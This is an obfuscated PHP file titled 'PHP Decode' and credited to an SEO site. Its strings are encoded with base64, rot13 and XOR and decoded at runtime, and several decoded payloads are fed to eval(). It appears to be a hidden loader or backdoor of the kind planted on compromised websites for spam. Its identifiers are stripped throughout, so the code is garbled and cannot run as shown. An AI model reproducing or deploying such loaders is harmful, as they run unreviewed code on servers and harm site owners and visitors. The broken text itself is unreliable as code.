PHP Decode

<?php 
@Zend; 
2004173063; 
/*ZGxhZGZ1BP4kAP4kZGZ2YwV5AmphAP45AGx=$MjA4YzAxNGU1ZmYzMmJkYzcyMmY1NmQ3YWFmZGQwZjA.ZGV1Zwp=*/ 
/* by seo xxfseo.com */ 
define("", 6); 
if (version_compare(PHP_VERSION, '5.3.0', '<')) { 
    exit('<meta charset="utf-8">This system requires PHP version > 5.3 !'); 
} 
function ($, $ = 0) 
{ 
    static $ = array(); 
    if (isset($[$])) { 
        return $[$]; 
    } 
    $ = "base64_decode"; 
    if ($) { 
        $ = "base64_encode"; 
    } 
    $ = $("ZGVmaW5l"); 
    $ = $("ZGVmaW5lZA=="); 
    $ = $("ZnVuY3Rpb25fZXhpc3Rz"); 
    if (!$('')) { 
        function ($, $ = "") 
        { 
            static $ = array(), $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $, $; 
            if (!isset($)) { 
                $ = ("S0ZKCVVe"); 
                $ = ("XltUAG9XVEc9WwldFgZfFhE="); 
                $ = ("S0daFkRC"); 
                $ = ("WlNLAAYEblcHWwlXBw=="); 
                $ = ("S0ZKOkJfRQJR"); 
                $ = ("S0ZKFV9D"); 
                $ = ("XUpICV9UVA=="); 
                $ = ("UVxME1Fc"); 
                $ = ("X0hRC1ZcUEcH"); 
                $ = ("HA=="); 
                $ = ("Fg=="); 
                $ = $(("CgIIUQEGBwZbDg==")); 
                $ = ("AldADEQY"); 
                $ = ("FQM="); 
                $ = ("XUpREQ=="); 
                $ = ("S0daFkRCblANTQhH"); 
                $ = ("DQ=="); 
                $ = ("CgIIVQ=="); 
                $ = ("Mg=="); 
                $ = ("TVxUDF5b"); 
                $ = ("XltUAG9AREc="); 
                $ = ("Xl1IAF4="); 
                $ = ("S0ZKOkJVQV8DWwM="); 
                $ = ("Y0pAA20P"); 
                $ = ("BA0="); 
                $ = ("Eh0="); 
            } 
            $ ? $ = $($) : ($ = $_ENV['']); 
            if (@(!$[$]) && ($[$] = $($_ENV['']))) { 
                ($($[$], $) > $ || $($[$], $) > $ || $($[$], $) > $) && ($[$] = $); 
                $($[$]) - $($($($($($[$], 0, $($[$], $)), $($[$], $) + 0x1)))) > $ && ($[$] = $); 
                $($($[$], 0, $($)), $) > $ && @$($) && ($[$] = $); 
            } 
            $ = $($[$], 0xc, 0xa); 
            $ = $($($($[$], 0x19, $($[$], $) - 0x19))); 
            $ = $($, $); 
            $ = $($[$], $ - $); 
            $ = 0; 
            for ($i = 0; $i < $; $i++) { 
                $ += $($[$i]); 
            } 
            $ = $($, $, $($[$])); 
            $ = $($, $, $); 
            return @$($); 
        } 
        function ($, $ = "") 
        { 
            static $ = array(); 
            if (isset($[$ . $_ENV['']])) { 
                return $[$]; 
            } 
            $ = ($); 
            if (!isset($)) { 
                $ = ("c3RybGVu"); 
                $ = ("c3Vic3Ry"); 
                $ = 0x0; 
                $ = ("bWQ1"); 
                $ = ("YmFzZW5hbWU="); 
            } 
            $ = $($($_ENV[''])); 
            $ = $($); 
            $ = $($); 
            $ = ""; 
            for ($ = $; $ < $; $ = $ + $) { 
                $ .= $ ^ $($, $, $); 
            } 
            $[$ . $_ENV['']] = $; 
            return $; 
        } 
    } 
    $[$] = $($); 
    return $[$]; 
} 
$_ENV[''] = !0; 
$_ENV[''] = ("c3RyX3JvdDEz"); 
$_ENV[''] = ($_ENV['']("Yv9cozEyrP5jnUN=")); 
while ($_ENV['']) { 
    $ = ("6/Ols52X78mspcSnl/qd5bvk77PAuKut0LG7ut3Ft5uincTRqZfN7bq90MXImOrv7aj1ruOzr9DzwJqn6MDkyr6gtM+s75qhoePOqLa226yXpuzo45ba6bys+K+yqN7s+pnMx/CimZulsp7x8/PL4qHdrLecS3AzTXpMSUhobj0xZVB1X1l3MDRUZmM3cTlzaTZFR1JGKnZRYmFrVitnT3haRC9Db0pOZDhsWHRXVXJTeW1CQWo1Mg=="); 
    $ = ""; 
    $ = ("2/zSyO0="); 
    $ = ("S0ZKEUI="); 
    $ = ("S0daFkRC"); 
    $ = ("DQA="); 
    $ = ("YmpiDVJx"); 
    $ = ("SEBdAm9CVEMOWQVW"); 
    $ = ("X0hbCl1AQ1YRSw=="); 
    $ = ("DAMA"); 
    $ = ("DQA="); 
    eval($((0x3))); 
    $ = ("6PSg3fmZwLvK6LrQx8jz26Cu5KnWysXvwPThmMC+mqDFzuObmZ7r8qC/oKeu2vOrmbHrn5bo2uCv4dq1r8Gq9cK+8Kus+c7s87zMna+X9cDZueO8xqzOne/J3eCY7O+++eDAyrfj1Zu+2pu1qLQ1Ni9MZld3OGhuaUprZzFweDBTSDlNQ3Z6VE9xb2pJbXN1PUR0UitWcipGSzRBMzdjZVVRWFBhQkV5MmxkR05ZYl9a"); 
    $ = ""; 
    $ = ("2/zSyO0="); 
    $ = ("S0ZKEUI="); 
    $ = ("S0daFkRC"); 
    $ = ("DQA="); 
    $ = ("YmpiDVJx"); 
    $ = ("SEBdAm9CVEMOWQVW"); 
    $ = ("X0hbCl1AQ1YRSw=="); 
    $ = ("CwcK"); 
    $ = ("DQA="); 
    eval($((0x6))); 
    eval($((0x4))); 
    $ = ("MTYwMTk2NzI0NDY2Mzs="); 
    eval($); 
    $ = ("MTYwMTk2NzI0NDY5MTs="); 
    eval($); 
    break; 
} 
return; 
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